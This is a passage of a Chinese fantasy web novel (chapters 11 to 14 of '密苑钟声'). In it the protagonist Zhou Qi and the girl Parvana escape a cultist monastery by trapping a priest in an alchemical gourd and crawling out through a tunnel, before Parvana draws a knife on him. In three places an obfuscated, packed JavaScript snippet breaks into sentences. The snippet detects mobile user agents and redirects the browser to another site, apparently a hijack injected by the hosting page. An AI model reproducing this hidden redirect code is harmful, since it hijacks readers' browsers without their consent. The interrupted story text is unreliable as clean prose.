他的神情比进去时要放松了很多,说话的尾音也带着不易察觉的雀跃。 因为找到了能逃出去的路? 帕尔瓦娜盯着他的脸看,青年的肤色在黄种人中应该算得上最白的一类,但看起来并不苍白,是一种很顺眼的白。 他的眉眼与他温和的性格似乎完全相反,如同刀刻一般,隐约透着凶芒。他不说话、不做表情时,甚至有点让人不敢靠近。 她的视线掠过青年眼下的泪痣,忽然回想起曾经听一个人说过,眼下生痣的人都是天生的骗子。 “帕尔瓦娜?” 周祈见她好像在发呆,小声提醒她一句。 帕尔瓦娜僵了一下,回过神来,随即转过头去,不再去看他。 两人一前一后向起居室的方向走去,周祈在心中整理着目前的情况。 合适的通道已经找到了,但他摆在面前还有两个难题:蒂尔神父以及在走廊上巡视的守卫。 他们不可能和神父正面对抗,只能想办法限制住他。 西奥多·莱特的笔记里记录了一件魂质炼金术的产物,由一只拥有禁锢能力的魂质制作而成,能够让人在一定时间内无法行动。 周祈现在只能召唤一些低级魂质,用低级魂质制作的物品,效果会大打折扣,再加上神父是四阶秘术师,最多也只能控制住他两分钟。 两分钟,勉强够用了。周祈想,第一个难题姑且算是找到了解决办法。 至于守卫那边…… 帕尔瓦娜擅长体术,能以出其不意的方式解决掉一个守卫,而周祈也能靠着手中的法印解决一个,他们联手,应该有机会直接解决一组守卫。 但帕尔瓦娜告诉过他,第二组守卫在换班后并不会离开地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418465|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下室,而是会前往位于走廊中央位置的休息室。 如果他们和轮值的守卫起了冲突,休息室中的守卫会立即赶来增援。 必须得想办法制造一些骚乱,干扰他们的注意。 周祈正想着,忽然听到某处房间中传来几声犬吠。 他停下脚步,询问走在前面的女孩,“这是什么声音?” 女孩指向两人身侧的木门,“那间屋子里关着两只腐烂鬣狗。” 腐烂鬣狗? 周祈立刻回想起游戏里对这种生物的介绍。 腐烂鬣狗,异种生物,外表看起来像狼,有一双血红色的眼睛,下颌突起,犬牙垂落在胸骨前方,有着惊人的咬合力,并且移动速度极快。 最关键的是,这种生物性格暴躁,几乎不会被驯化,并且它们的精神防御值很低,很容易失去理智发动无差别攻击。 想到这里,周祈已经清楚该如何在地下室制造一场骚乱了。他加快脚步,和帕尔瓦娜一起回到起居室。 他走入书房,快速在木头箱子中找出几块燧石和一些属性为橙色的草药,把它们研磨成粉末混合在一起,交到帕尔瓦娜手上。 “你找个机会,把这些粉末加在那两只鬣狗的食物里,然后再想办法把它们的锁链弄松。” 灵性材料研磨而成的粉末,而且还是代表火焰的橙色材料,他不信那两条狗吃了会不“上火”。 等它们理智失控,挣脱锁链,在地下室进行肆无忌惮的破坏时,那些在休息室的守卫一定会前去抓捕它们,自然就不会注意走廊深处发生的事。 帕尔瓦娜攥紧青年递来的呈有粉末的玻璃试管,张了张嘴,却又欲言又止,最终什么也没说,轻点了一下头,表示她知道了。 ** 将所有环节都计划好之后,周祈回到书桌前,开始尝试制作那件拥有禁锢效果的物品。 他按照笔记中记录的,使用五角星法阵召唤出新的魂质,把它和其他材料一起丢进坩埚之中。 大约十个小时过后,他的肚子突然传来一道温热的感觉,浴室里勤奋打洞的鳞甲魂质隔空向他传递了一条信息。 它完成了一半的工作,现在累了,想回到契约者身边休息。 “累了是吧。” 周祈将它召唤回自己身边,它的鳞甲上满是灰土,看起来十分疲惫。 周祈把它捧在手心里,用商量的语气说,“我给你起个名字怎么样?” 鳞甲魂质有气无力地点了点头。 “那我以后就叫你小黑好吗?” “小黑”又点了点头,开心地接受了自己的新名字。 但它很快就笑不出来了。 周祈给它起好了名字,立刻断开与它之间的临时契约,小黑瞬间消失,回归到虚界之中。 他重新割破手指,画出五角星法阵,将五根红色的灵烛摆在上面,召唤出虚界的大门。 “我以鲜血与灵性为媒,拜请我的朋友小黑,请你现身于此。” 猩红门扉洞开,鳞片闪闪发光、精神状态恢复如初的小黑顶着茫然的表情走了出来。 它抬起头,看到那个男人脸上若有似无的坏笑后,终于明白自己经历了什么。 “好了,看来你已经休息过了。”周祈戳了戳它的脑袋,“接着去干活吧。” “哦欸!” 小黑骂得很脏。 12. 密苑钟声(十二) “呼。终于做好了。” 周祈放下匕首,长出一口气,来回翻看着手里已经完成雕刻的“葫芦”。 他在炼金方面没什么天赋可言,尝试了很多次,浪费了许多灵性材料,连那只禁锢类魂质也被他反复折腾到精神萎靡。 魂质炼金术比起常规炼金术多了一个“灵化”的步骤,通过火焰冶炼、蒸馏、萃取等复杂的流程将魂质赋在灵性材料之上,由于魂质与他们并不相融,还需要通过多种秘术符号组成的法阵来阻止它们逃逸。 所以魂质炼金术的本质其实是将魂质炼化为物品的“器灵”,以此令物品拥有“生命”。 “小葫芦”拥有将目标吸入其中,并逐渐将其融化成水的能力,被禁锢住的人需要从内部打破葫芦才能脱困。 他已经完成几乎所有的铭刻,只差最后一步。 “帕尔瓦娜。” 周祈双手扒在书房的门框上,探出头寻找藏在黑暗中的女孩,但女孩其实就在门口,听见他叫自己,立刻回过头递去一个疑惑的目光。 “你知道蒂尔神父的全名是什么吗?” 帕尔瓦娜眼神中的困惑越发明显,她思索了一下,回答道,“蒂尔·艾弗森。” 蒂尔·艾弗森。 周祈举起匕首,将这个名字快速刻在小葫芦的最顶端。 “大功告成。” 他把紫色的小葫芦举起来给帕尔瓦娜看,“现在我们就等着神父过来,然后离开这里。” 按照昨天神父离开时所说,他明天就会来检查周祈做出来的物品,到那个时候,小黑的地洞应该已经挖好,那两只吃了加料狗粮的鬣狗也差不多该发狂暴走。 他们现在要做的就只有耐心等待。 帕尔瓦娜看了看他手里的小葫芦,又看了看他的脸,正要说点什么时,门外突然传来一些嘈杂的声音,似乎是名叫蒂尔·艾弗森的银发神父在对着传道士发火。 他将小葫芦塞到帕尔瓦娜手里,小心翼翼的走至起居室门边,偷听门外的动静。 “蠢货!”蒂尔咆哮着,“为什么会带一个全身上下流淌着罪恶血液的鳞人回来!” 鳞人? 周祈想到他刚刚从牢房中醒来时看到的红皮肤少年,那个人确实是一个标准的鳞人。 “鳞人”是游戏中设定的稀有人种,他们长相特殊,皮肤发红,脸颊两侧长着细碎的红色鳞片,双眼多是棕色、澄黄色。 因为异于常人的独特长相,鳞人在这片名为“普路托”的大陆的绝大多数地区都受到不同程度的歧视。在游戏世界更加久远的历史中,鳞人一度成为被正常人类压迫的奴隶,甚至连永昼教会也从不接受鳞人入教。 之后虽然大部分国家和地区都取消了奴隶制,并制订了一系列的法律条款来保护鳞人的人权,但效果甚微,歧视仍旧无处不在。 “对不起,蒂尔大人……是我一时疏忽……” “一时疏忽?你知不知道你的一时疏忽会造成多么严重的后果,明天主教阁下会亲自前来主持开花仪式,你要用这个鳞人低贱又罪恶的血液来灌溉献给伟大的主的礼物吗? 开花仪式?那是什么? 他说的主教又是什么人? “对不起大人……我真的知道错了……” “行了!不要再说这些没用的废话,你现在立刻去附近的拉维亚镇,找到理查德警督,让他再给你找一个死刑犯。记住,这次一定要是正常的人类!” “是!大人,我这就去!” 那人匆匆离开后,另一名传道士开口说话,“蒂尔大人,那这个鳞人怎么办?” “拉到远处去杀了,不要在修道院附近,免得影响到花种。” “是!” 传道士朗声应下,等到蒂尔·艾弗森离开后,他却并未立刻去执行命令,而是捂着自己的肚子,朝牢房相反的方向匆匆走去。 周祈合上门,只恨自己不是那个鳞人。 如果自己是那个人,现在就能堂而皇之地走出修道院,等修道士把他带到某个偏僻的地点后,他再使用奇物和秘术法印将其反杀,顺理成章地获得自由身。 比现在的“修道院的救赎”要简单太多。 不过,虽然没办法变成那个鳞人逃出去,但可以利用他帮自己向外界传递消息。 周祈回到书桌前,快速写好一封求救信,并用白纸制作出一个简易信封,在收信人那一栏写上“兰蒂尼恩古书搜集与保护协会”。 当然,他并不是要向一个擅长搜集古书的组织求助,那栋占地不到五十平米的两层小楼只充当“中转站”的作用,寄往此处的信最终都会进入一个名叫“异常事件调查局”的地方。 异调局是由永昼教会成立的官方秘术师组织,其中设立有一个名为“净化猎人”的部门,专门负责清理密教组织。 寄往“兰蒂尼恩古书搜集与保护协会”都会受到特殊秘术的加成,无论在这片大陆的哪个角落,只要将信件投入邮筒,必定会在六个小时之内送达。 异调局在各级城镇都设置有分局,方便及时响应。 如果那个鳞人能顺利帮他把信寄出,异调局一定会在明天晚上之前赶来,有了净化猎人的帮助,十个蒂尔·艾弗森也无法阻止他重获自由。 这可比“修道院的救赎”靠谱多了。 周祈捏着信封,正准备去起居室找帕尔瓦娜时,他突然想起一处被他忽略的细节。 他虽然可以把自己制作的法印送给那个鳞人,帮助他从传道士手中逃脱,但那个鳞人只是普通人,无法和自己一样轻易使用秘术法印。 周祈在脑海中快速进行着头脑风暴,很快,他灵光一现,想到了解决办法。 他现在不是掌握了一门“魂质炼金术”吗? 为什么不能召唤一个能够承载灵知的魂质,向它灌注足够的灵知,再将它附在法印之上,帮助那个鳞人激发秘术? 这样的话,他甚至还能实时监控他们那边发生的情况。 说干就干,周祈重新回到书桌前,开始鼓捣那一大堆仪器。 或许是受到了好运眷顾,他居然一次成功,做出一个可以声控的“法印”,只要念出“火焰”就可以成功激发法印。 准备工作完成,周祈将求救信和声控法印藏在教士服的腰带中,找到正在发呆的帕尔瓦娜。 “可以帮我一个忙吗?”他问。 帕尔瓦娜瞥了他一眼,示意他往下说。 “你能不能想个办法,把牢房里关着的鳞人带来这里,五分钟,我只需要五分钟就够了。” 见帕尔瓦娜有些犹豫,他快速补充道,“现在时间不够,我之后再和你慢慢解释好不好?” 帕尔瓦娜深深地望了他一眼,最终什么也没说,推开门朝着牢房外走去。 她很快带着周祈要找的人回到起居室,前后甚至还不到一分钟。 红皮肤的少年瑟缩着,满脸惶恐不安的神色,他似乎知道自己即将面对被抛尸野外的命运,眼神中隐隐透着绝望。 周祈坐在沙发上,双手支撑着自己的下巴,茶几上燃烧的灵烛将他的面部照亮,他面无表情,抬眼与少年对视。 鳞人少年被他身上古怪的压迫感吓到,不由自主地后退半步。 鳞人的视力比普通人要好很多,即使光线昏暗,少年还是很快发现这个坐在沙发上的男人是前几天和他们关在一起的囚犯。 他被带走之后,那些传道士就不再来牢房里抓人了,囚犯们都在猜测是不是会放他们走。 少年本来也抱有一丝侥幸,却没想到今天他就被单拎出来,要被带到野外杀掉。 但,这个人为什么还活着,还、还穿着这些守卫的衣服…… 他为什么要见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418466|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,他想要对我做什么? 周祈能从鳞人少年的表情大概猜到他现在在想什么,便故作高深道,“你想活下去吗?” 少年哆嗦了一下,低下头,并没有正面回答周祈的问题,“我什么也做不了。” “我是在问你,你想活下去吗?” “我、我……” 少年无法忽视心灵深处的真实想法,而眼前这个人又莫名其妙的让他想要去信任,他将头埋得更低,“我想……我想要活下去……” 周祈直视着他,“如果你还有想活下去的信念,我可以帮你。” 少年猛地抬起头,眼中的绝望在顷刻间拗转为惊讶,“真、真的吗……” 周祈将信件和法印拿出来,摆在桌面上,“接下来我说的话你要认真听,并且务必按照我说的去执行,不能出一点差错。” 少年本就紧绷着的身体更加僵硬,“……好的,大人,我听着。” 周祈向他快速介绍一遍声控法印的使用方法,少年兀然接触到超出自己认知的事物,大脑一时反应不过来。 秘、秘术。 世界上真的有这么神奇的东西吗? 他握紧掌心中的“法印”,不受控制地颤抖着。 “摆脱守卫之后,我要你用最快的速度前往距离你最近的城镇,将这封信投入邮筒。” 少年接过信,他只认识一部分文字,并不能看懂那上面写了什么。 他把法印和信收好,口中还不停重复着男人刚刚说的话。 周祈见他迟迟不曾转身离开,开口问道,“你还有什么不明白的吗?” 少年攥紧拳头,喃喃道,“为什么…为什么要帮我……” “我需要你帮我传递消息,这只是等价交换。” 周祈说着,又看了看站在门边的帕尔瓦娜,“而且,拯救一个无辜的生命,不需要任何理由。” 等价交换…… 少年心里涌起一股莫名的情绪,这还是第一次有人愿意和他平等地进行交易。 “大人。”少年突然抬起头,目光灼灼地看向他,“我无父无母,如果我真的能活下去,我、我能不能加入你们?” 周祈眨了眨眼,怔了一下后才反应过来,少年是把他当作潜入这里的“间谍”,以为他背后也存在一个秘密教团。 他本来想解释一下,转念一想,少年在他的引导下了解了秘术这样的伟力,再加上现在的这段经历,已经很难回归正常生活,他确实需要一个组织来提供庇佑。 但……允许鳞人加入的教团好像只有一个啊…… “可以。”周祈沉声道,“你叫什么名字?” “……昆塔。” 周祈点了点头,“很好,昆塔,我予你承诺,只要你能活下去,并完成我指派给你的任务,你就是黄金拂晓的一员了。” 他完全不担心借用黄金拂晓的名义会有什么后果,这个组织向来来者不拒,只要你自称是黄金拂晓的人,那你就是黄金拂晓的人。 昆塔低下头,颤抖着问他,“大人,您信奉的主愿意接受我这样血统卑贱的人吗?” 五分钟时间到了,周祈急得要命,却又不得不强装镇定,像个神棍一样,给少年喂下一颗定心丸。 “当然了,我的孩子。辉光平等地照耀普路托大陆,人生下来都是一样的血和魂,父神将光明悬于我们头顶,既是要我们仰望辉光,亦是要我们挺直脊梁。” 他随意背了一段《辉光启示录》中的内容,这本书是黄金拂晓的圣典,以前周祈没事就会打开看两眼,里面的内容都在不知不觉中会背了。 昆塔似乎大受振奋,他没有再多说什么,由帕尔瓦娜押送着回到牢房。 那名匆匆离开的传道士在少年回来后不久进入牢房,他将昆塔提溜了出来,牵着少年手腕上捆着的锁链,领着他往修道院之外走。 13. 密苑钟声(十三) 夜晚的山谷寂静无声,鞋底摩擦过地面的声音被无限放大,磋磨着昆塔的耳膜。 走在正前方的黑衣传道士哼着歌,时不时发出赶羊一样的训斥声。 “走快点!” 昆塔低下头,像只受惊了的鹌鹑。 他回忆着那位大人交代他的话语。 一定要表现得十分怯懦,让传道士放松警惕,这样才有机会出其不意,一招克敌。 传道士带着他走出很远的距离,直到遇见一片滩涂才停下。 “给我跪下,你这只红皮猪!” 他将昆塔一脚踹翻在地,“你们鳞人都是卑劣的杂种,老子看见你这张脸就反胃。” 黑衣传道士不满足于言语上的凌辱,他用满是淤泥的鞋底踩向少年的脸,并狠狠地碾动脚尖,“你就只配和这些污垢一样,被我踩在脚底下。” 他说完,放肆地大笑起来。 被踩着脸的少年嗫嚅了几声,传道士停止大笑,皱眉看向他,“你在嘀嘀咕咕什么呢?” 少年又发出几声含糊不清的声音,传道士移开皮鞋,侧耳去听,少年却突然提高音量,大吼一声。 “火焰!” 藏在衣服里的法印顷刻间被激活,朱红的火焰从掌心涌起,他在脑海中想象出一个火球的形状,火苗果然汇聚成团。 他挥动双手,将火球狠狠砸向传道士肥硕的面庞。 那人完全来不及反应,高温灼烧皮肤,他开始惨叫,发出像杀猪一样的嘶吼。 昆塔瞄准传道士侧腰挂着的匕首,攥住刀柄,斜向下将它刺入传道士的脖颈之中,之后又快速拔出,就这样连续捅了十多下,直到将那人的脖子几乎捅成了筛子,他才停止动作。 传道士早已停止呼吸,少年看着他血肉模糊的脖颈,脑海中一片空白。 他没有选择欣赏传道士的尸体,没有去摸索尸体上的财物,没有将时间浪费平复杀人之后的激动情绪。 他一秒也不曾停留,甚至没有功夫去解开手上的镣铐,就这样拼尽全身力气,跌跌撞撞地向亮着灯的城镇奔去。 等他再回过神来时,已经站在小镇的邮局之外,面前是一个和他一样高的墨绿色邮筒,而他刚刚已经将那封信件投了进去。 我做到了。 我真的做到了。 我现在是黄金拂晓的一员了! 他想要振臂高呼,又想到现在是深夜,最终还是忍耐了下来。 昆塔离开邮局,很快消失在夜色之中。 ** 魂质传回少年激发法印的消息时,周祈正在书房中阅读狗血男同小说。 成功了? 他心中一喜,与此同时,在浴室辛勤劳作的小黑也完成了它的工作,回到周祈身边。 “谢啦。” 周祈戳了戳它脏兮兮的脑袋,小黑立刻后退半步,躲开他的手指。 小东西还挺记仇。 周祈笑了笑,解除临时契约,把它送回虚界,临走前他还不忘同它告别,说了句“再见”。 “哦欸!” 小黑向他传达了“再也不想见到你”的意思,之后快速逃入虚界大门。 …… 一切都准备妥当,只等着异调局的人收到求救信来救他们,或者是按照原计划,从浴室的通道中离开。 不知道为什么,他心里莫名有一种不太好的预感。 自从有了星虫之后,他再也不会轻易忽视这些曾经被他当作“焦虑”的情绪。 这很有可能是他自身的灵性在向他提前发出示警。 但他已经尽了最大的努力,几乎考虑到了一切可能发生的意外,实在没什么可做的了。 周祈甩了甩头,强迫自己收起焦躁不安的情绪,集中注意力阅读手里的书籍。 ** 他睡不着,就这样看了一晚上的书,到最后甚至不得不强迫自己闭上眼睛,用睡眠来调整自身状态。 睡着后,他做了个噩梦,梦中他被一双充满恶意的眼睛注视,那双混沌的双眼喷射出粘稠的暗紫色毒液,腐蚀他的皮肤和血肉,融化他的骨骼和思维。 他正因无法反抗而痛苦挣扎之时,一阵嘈杂的响动将他吵醒。 “外面发生什么事了?” 周祈走出书房,一边揉眼睛,一边询问在起居室门口站着的女孩。 “那两只鬣狗失控了。”她的回答十分简短。 怎么提前失控了? 周祈快步走至门边,聆听门外的动静。 “天呐它在咬我的屁股!” “我的腿!” “别让它们把铁栏杆啃坏了!” “这边!它们在这边……” 走廊上似乎乱作一团,几秒后,靠近楼梯的方向突然传来几道钝器敲击地面的声音。 “蒂尔大人来了,安静!” 这句警告并未起到太大作用,嘈杂声只是短暂平息,随后再次愈演愈烈。 周祈听到蒂尔·艾弗森的声音。 “这里发生了什么?” “蒂尔大人!是主教阁下养在我们这里的两只腐烂鬣狗失控了!” “怎么突然失控了?”蒂尔神父提高音量,“快把它们安抚好,主教阁下再有一个小时就会到达这里,那可是他最宠爱的两条腐烂鬣狗,记住不要伤害到他们!” 一个小时? 周祈的心猛地下坠,现在明明还没有到预计的时间。 他的脑袋嗡嗡作响,只剩下一个想法。 那个“主教”一定是比蒂尔的位阶还要更高的存在,他们不能再继续等待异调局的净化猎人了,必须立刻开始行动。 “帕尔瓦娜。” 他抓住身旁女孩的手,“等会儿你看到我动手之后,就立刻往浴室的方向跑,知道吗?” 突如其来的肢体接触让帕尔瓦娜身体一僵,但她并没有反抗,而是任由周祈牵着自己的手,甚至还悄悄回握了一下。 她点了点头,表示自己知道了。 门外的脚步声越来越近,周祈知道这是蒂尔神父正在向这个房间靠近。 他匆忙回到书房,将自己全部的“装备”都藏在袖口之中,只留了“小葫芦”在外面。 蒂尔神父几乎是在他做完这一切的同时推门而入。 平时一直跟着他的两名传道士都不在,一个被他分配去处理鳞人少年,一个被他分配去安抚鬣狗,整个地牢都乱作一团,哪里的人手都不够。 为什么这些事偏偏要在今天发生! 蒂尔·艾弗森心情烦躁,他打开房间里的灯,急迫地向周祈走来。 “别告诉我你还没做出来。” “不,大人,我已经做好了。” 周祈满脸恭敬地将小葫芦递给他。 “这……” 蒂尔将小葫芦拿在手上翻来覆去地看,怎么也想不通这东西是竟然是个匣子,这明明看起来像是某种草本植物。 “这便是那三件神圣物品的其中一个?” 蒂尔挑眉,虽然有点不理解,他还是开始仔细观察这匣子上铭刻的符号。 “它有什么作用?” “大人,那本书上记载,在失落的远古时代,一位神祇制作了这件物品,并把它赐给镇守神国的从神。从神觊觎他神的权柄,将其关入匣中,一时三刻后,被关入匣中的从神融化成一滩脓水。您手中拿着的,便是它的复制品。” 蒂尔对他的话深信不疑,他将奇怪的匣子翻转过来,想从顶部的小洞看清楚内部的构造。 “那这东西要怎么才能使用?” “需要配合言灵术使用,大人。” “言灵术?说来听听。” 蒂尔摩挲着匣子表面的凹痕,注意力全部集中在那些符号上面。 等等,刻在顶端的那一串符号怎么这么眼熟? 看起来好像是…… 我的名字? “蒂尔·艾弗森。” 那个乡巴佬突然字正腔圆地念了他的名字。 “我称呼你的名字,你敢回应我吗?” 蒂尔·艾弗森一时没有反应过来,本能般回应他,“什么?” 他话音刚落,手中那个造型怪异的匣子立刻爆发出一股巨大的吸力,一双虚幻的乌紫色大手从中伸出,那双手瘦骨嶙峋,干枯而苍老,像一块风干的树皮,手指和指甲长度相同,如同十根尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418467|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锐的锥子。 大手钳制住蒂尔·艾弗森的肩膀,连魂质也一起被揉搓捏扁,他毫无反抗的余地,瞬间被吸进小葫芦中。 “当当当——” 小葫芦失去依托,砸落在地上。 “走!” 周祈冲出书房,来到帕尔瓦娜身边。 他们拉开门,刚准备开始向浴室的方向奔跑,周祈却突然发现门外空无一人,空闲的修道士都去抓那两只发狂的腐烂鬣狗了,只有轮值的守卫还在走廊上巡逻。 他压低声音,扯了扯帕尔瓦娜的袖子,“别跑,我们正常走过去,别让他们发现异样。” 他们调整身位,帕尔瓦娜走在周祈斜前方,装作押送他前往浴室的样子。 往前走了十几步后,他们遇上了正在巡逻的守卫,三名守卫果然没有发现任何异样,只是略微放慢脚步,同帕尔瓦娜点头示意。 等两人走出几米远的距离后,其中一名守卫才后知后觉,“不对,今天是举行开花仪式的日子,蒂尔大人不会再放他们两个出来,他们两个有问题!快去追!” 周祈听见身后的动静?立刻反应过来,他和帕尔瓦娜同时转身,一个拔出匕首,一个激活法印,同时向守卫发动攻击。 帕尔瓦娜的动作十分敏捷,她似乎很擅长在走廊这种狭窄的地方作战,身形一晃,躲开守卫短剑突刺,与此同时,她手起刀落,刺穿离她最近那名守卫的心脏。 守卫当即毙命,短剑掉落在地。 周祈那边比她稍弱一筹,赤红的火球砸向剩余的两名守卫,那两人显然没想到他会秘术,一时没有反应过来。 而等他们动作迟缓地拔出短剑之时,下一发火球接踵而至。 周祈知道他的火球术威力不算强,所以事先准备了好几个法印,试图以数量取胜。 火焰虽然没有对两名守卫造成太严重的伤害,但刺眼的火焰和高温却大大减缓了他们的反应速度,周祈趁机捡起地上掉落的短剑,先抹掉一个守卫的脖子。 正准备击杀下一个守卫之时,他的脑仁突然传来一阵刺痛,疼痛让他手脚痉挛,差点就要丢下手里的短剑。 周祈立即反应过来,这是精神领域的秘术! 他紧咬着牙,凭借意志力抵抗秘术对精神世界的伤害。 时间不够了,必须速杀。 他拼尽全身力气激活下一个火球术法印,火球砸落,耀眼的火光让守卫本能般闪避了一下,身旁的女孩看准机会,一刀砍断他的半截喉管。 最后一名守卫也倒下了。 “快!” 他们一刻也不敢耽误,用最快的速度向走廊尽头的房间跑去。 浴室亮着灯,周祈一拳砸碎摇摇欲坠的瓷砖,一个可以容纳一人通过的洞口暴露在两人眼前。 帕尔瓦娜的眼瞳微微颤动,这个人究竟是怎么做到在如此短的时间内,神不知鬼不觉地制造出这样一条地道出来。 “帕尔,快进去。” 周祈见她怔在原地,急忙出声提醒。 帕尔瓦娜回过神,快速走入地道入口,周祈紧随其后,和她一起在地道里快速移动着。 ** 蒂尔·艾弗森花了足足五分钟的时间才打破那个破匣子,重新获得自由。 看着空空如也的书房,他被气到脸色发紫,怒火焚烧着他的理智,他快速冲至门外,大声吼道,“快来人!把他们两个、把他们两个给我追回来!” 但没有人给予他回应,一边的走廊寂静无声,另一边正在热火朝天地抓鬣狗。 “不要再管那两条狗了!都给我滚过来!” 他的怒吼接近歇斯底里。 几分钟后,那些愚蠢的手下才姗姗来迟。 看着他们被撕扯烂的袍服,脸上、手臂上的咬痕,蒂尔感觉两眼一黑。 他痛苦地捂住自己的额头,试图让自己冷静下来。 “没关系,他们跑不远……” 他想到了什么,立刻安慰自己,“对,他们跑不远!” 修女身上有主教大人留下的契约,只要离开修道院的范围之外就会精神崩溃。 “所有人都出动,一定把那两个人找回来!” 14. 密苑钟声(十四) 周祈带着帕尔瓦娜在满是污水的管道中疾行,他神经紧绷,不敢有一丝一毫的放松。 走了不知道多久,他终于看到了管道的尽头。 前方的出口被一扇铁门封堵死,周祈早就从小黑那里知道了这扇铁门的存在,提前做了准备。 他从袖口中取出一支紫色的药剂,咕噜咕噜喝了下去,腹中的星虫立即被拗转成相应的颜色。 紫色准则代表的力量是“解密”,在游戏中也被玩家戏称为“锁匠准则”,而周祈准备的紫色法印也非常简单粗暴,名字就叫【开锁术】。 他将法印拿在手里,向其中灌注灵知,紫光闪过,铁门发出“啪嗒”一声,自行弹开。 身后没有人追来,他们从出口处一跃而下,双双坠入满是污水的河流。 恶臭的气息立刻覆盖他的感官,周祈一边觉得这味道恶心,一边又觉得它代表了自由。 他牵着帕尔瓦娜的手,将她拖至岸边,语气带着难以遏制的激动,“出来了,帕尔,我们出来了!” 帕尔瓦娜没有任何回应,她低着头,全身都湿透了。 《无光密界》的夜晚没有月亮和星星,他们逃出来的时间正好是深夜,四周一片漆黑,周祈看不清她的表情,但直觉告诉她,女孩的状态好像不是很好。 “你怎么了?”他将女孩湿漉漉的卷发拨到侧面,“是太冷了吗?” 帕尔瓦娜略显艰难地摇了摇头,什么话也没说。 “我们不能在这里停留太久,得先到安全的地方,你可以坚持一下吗?” 女孩依旧没有说话,周祈攥紧她的手,向前方的道路疾行。 他们逃出来的位置前方是一片树林,灰白色的雾气在树影之间弥漫,整个场景透着一股光怪陆离的意味。 周祈不敢用打火机照明,害怕会暴露他们的位置,也害怕会吸引一些游荡的野兽。 他对树林中的路完全不熟悉,但又不敢停下来,只能牵着帕尔瓦纳的手,像两只无头苍蝇一样漫无目的地向前走。 他们向树林深处走了差不多半个小时后,眼前出现一条溪流,身旁的女孩一点声响都没有,手掌也变得越发冰凉,周祈觉得她现在一定非常难受,便决定在这里休息两分钟。 他拿出打火机,滚动打火石,借着火光去观察帕尔瓦娜的脸庞,不知道从什么时候开始,她的脸色变得惨白如纸,碧绿的双眼中满是痛苦。 “帕尔。”他有些焦急地喊了一声女孩的名字,又用空着的那只手摸了摸她的额头,想知道她是不是在发热。 但她的皮肤非但不热,反而像冰块一样冷,简直不像是活人。 “你是哪里受伤了吗?” 他卷起帕尔瓦娜的袖子,并没有看到什么伤口。 什么情况?她被刚刚那三名守卫的精神类秘术伤到了吗? “你在这里等我一下。” 周祈把女孩安置在一块大石头后面,拿出空了的玻璃试管,往小溪旁走去,想去给她接些净水喝。 帕尔瓦娜盯着青年离她远去的背影,碧绿色的瞳仁不停颤抖着。 或许是因为守卫的秘术,也或许是别的原因,她头痛欲裂,思绪一团乱麻。 她不明白在自己这是怎么了,所有的感官都被无限放大,仿佛有一双手将她的心一层层拨开,把她埋藏在心底最深处的情绪暴露在冷冰冰的空气中。 这一团情绪的名字叫恐惧。 你们逃出去了,他已经利用完你了,你对他来说已经没有价值了,他马上就要抛弃你了…… 细碎的轻语折磨着帕尔瓦娜混沌不堪的思绪,她攥紧拳头,指甲都嵌进肉里。 周祈对这一切浑然不觉,他趴在水边,用试管取水,小溪的水冷得有些刺骨,他猛地打了个激灵。 那种奇怪的预感再次涌现,脑海中冒出一个突兀的想法:这一切是不是进行得太顺利了?怎么感觉有些反常? 为什么总是感觉忽视了什么? 呸呸呸,坏事可经不起念叨,不能乱想。 周祈摇了摇头,想把这不吉利的念头甩出脑海中。 “帕尔瓦娜,喝点水吧,或许会好受一些。” 他攥着灌满水的试管,从地上站起,望向身后的石头,但那里空无一物,原本应该在石头旁坐着的女孩不见踪影。 那种心慌的感觉越发强烈,周祈稍微提高音量,开口呼唤女孩的名字。 “帕尔……” 他的呼唤声戛然而止。 一柄吐露着寒芒的匕首毫无预兆地从背后伸出,横着抵在他的咽喉处。 帕尔瓦娜不知什么时候出现在他的身后。 周祈看着匕首上铭刻着的代表“夜巫”的符号,脑海中有轰隆隆的声音炸响。 他不明白女孩为什么要拿刀抵着他的喉咙,只能故作镇定地发出两声尬笑。 “帕…帕尔瓦娜,你这是要干什么?” “我要…” 女孩冰凉的吐息打在他的后颈上,“杀了你。” 她说着,手中的刀刃再次逼近,周祈的大脑空白一片,喉咙发紧,他张了张嘴,好半天才发出声音。 “为…为什么?” 自从他说服帕尔瓦娜和自己一起逃跑后,女孩对他几乎是言听计从,再也没有对他做出任何危险的动作,甚至可以说是“温顺”。 周祈的逃跑计划考虑到了一切可能发生的意外,唯独没有想过帕尔瓦娜会在这个时候“背刺”他。 为什么?她为什么会突然性情大变? 帕尔瓦娜手指用力,将刀刃再次向前送了送,刀锋贴在皮肤上,周祈觉察到这个动作中蕴藏着的坚决——她没有在开玩笑,她是真的想杀了他。 